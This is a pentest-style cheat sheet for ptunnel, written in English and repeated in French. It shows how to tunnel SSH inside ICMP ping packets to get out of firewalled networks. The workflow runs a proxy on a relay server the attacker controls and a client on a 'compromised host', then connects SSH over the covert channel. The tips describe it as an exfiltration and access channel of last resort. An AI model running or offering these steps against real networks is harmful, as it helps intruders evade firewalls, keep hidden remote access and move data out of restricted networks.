ptunnel

Overview

ptunnel encapsulates TCP traffic inside ICMP echo request/reply (ping) packets, exploiting the fact that many firewalls allow outbound ICMP even when all other traffic is blocked. It requires a ptunnel instance running on both ends — a proxy on a host with real network access, and a client on the restricted host — and is a classic covert channel for getting a shell (typically SSH) out of a heavily locked-down network.

Common Usage

On the external/relay server: run in proxy mode

sudo ptunnel -x <password>

On the restricted client host: connect through the proxy, forwarding to an SSH server

sudo ptunnel -p <proxy_ip> -lp 8000 -da <ssh_server_ip> -dp 22 -x <password>

Then connect SSH through the local forwarded port

ssh -p 8000 user@127.0.0.1

Example Workflow

Step 1: On a VPS/relay server you control (has open ICMP + is the real SSH target’s gateway)

sudo ptunnel -x mysecretpass

Step 2: On the compromised host inside the restricted network

sudo ptunnel -p <relay_server_ip> -lp 8000 -da 127.0.0.1 -dp 22 -x mysecretpass

Step 3: SSH out over the ICMP tunnel

ssh -p 8000 user@127.0.0.1

Options

-x PASSWORD      shared password/challenge to authenticate the tunnel
-p HOST            proxy host to connect to (client mode)
-lp PORT            local port to listen on (client mode)
-da HOST             destination address the proxy forwards to
-dp PORT             destination port the proxy forwards to
-c INTERFACE          bind to a specific network interface
-u                    unprivileged mode (uses a raw socket alternative)
-v LEVEL              verbosity level

Tips

• Both ends require root/raw-socket privileges by default, since it’s crafting raw ICMP packets.
• ICMP tunneling is slow and easy to fingerprint (unusually large/frequent ping traffic) — use it as a last-resort exfil/access channel, not a primary pivot method.
• Set -x on both sides — without a shared password, ptunnel will refuse unauthenticated tunnel requests.

Usage: ptunnel [-x password] [-lp port] [-da address] [-dp port]
               [-c interface] [-p address] [-u] [-v level]

  -p addr          run in client mode, connect to proxy at addr
  -lp port          local TCP port to listen on (client mode)
  -da address        destination address (used by proxy)
  -dp port            destination port (used by proxy)
  -x password          challenge/response password for authentication
  -c interface          network interface to bind to
  -u                     use unprivileged (non-raw-socket) mode
  -v level               verbosity level (0-5)
  -h                     display this help and exit

Running with no -p flag starts ptunnel in proxy (server) mode.

Vue d’ensemble

ptunnel encapsule le trafic TCP dans des paquets ICMP echo request/reply (ping), exploitant le fait que de nombreux pare-feux autorisent l’ICMP sortant même lorsque tout le reste du trafic est bloqué. Il nécessite une instance de ptunnel tournant aux deux extrémités : un proxy sur un hôte disposant d’un accès réseau réel, et un client sur l’hôte restreint. C’est un canal caché classique pour faire sortir un shell (généralement SSH) d’un réseau fortement verrouillé.

Utilisation courante

# Sur le serveur externe/relais : lancer en mode proxy
sudo ptunnel -x <password>

# Sur l'hôte client restreint : se connecter via le proxy, en redirigeant vers un serveur SSH
sudo ptunnel -p <proxy_ip> -lp 8000 -da <ssh_server_ip> -dp 22 -x <password>

# Puis se connecter en SSH via le port local redirigé
ssh -p 8000 user@127.0.0.1

Exemple de workflow

# Étape 1 : sur un VPS/serveur relais que vous contrôlez (ICMP ouvert + passerelle vers la vraie cible SSH)
sudo ptunnel -x mysecretpass

# Étape 2 : sur l'hôte compromis à l'intérieur du réseau restreint
sudo ptunnel -p <relay_server_ip> -lp 8000 -da 127.0.0.1 -dp 22 -x mysecretpass

# Étape 3 : sortir en SSH via le tunnel ICMP
ssh -p 8000 user@127.0.0.1

Options

-x PASSWORD      shared password/challenge to authenticate the tunnel
-p HOST            proxy host to connect to (client mode)
-lp PORT            local port to listen on (client mode)
-da HOST             destination address the proxy forwards to
-dp PORT             destination port the proxy forwards to
-c INTERFACE          bind to a specific network interface
-u                    unprivileged mode (uses a raw socket alternative)
-v LEVEL              verbosity level

Conseils

• Les deux extrémités nécessitent par défaut des privilèges root/raw-socket, car des paquets ICMP bruts sont fabriqués.
• Le tunneling ICMP est lent et facile à repérer (trafic ping inhabituellement volumineux/fréquent) : à utiliser comme canal d’exfiltration/accès en dernier recours, pas comme méthode de pivot principale.
• Définissez -x des deux côtés : sans mot de passe partagé, ptunnel refusera les requêtes de tunnel non authentifiées.

Usage: ptunnel [-x password] [-lp port] [-da address] [-dp port]
               [-c interface] [-p address] [-u] [-v level]

  -p addr          run in client mode, connect to proxy at addr
  -lp port          local TCP port to listen on (client mode)
  -da address        destination address (used by proxy)
  -dp port            destination port (used by proxy)
  -x password          challenge/response password for authentication
  -c interface          network interface to bind to
  -u                     use unprivileged (non-raw-socket) mode
  -v level               verbosity level (0-5)
  -h                     display this help and exit

Running with no -p flag starts ptunnel in proxy (server) mode.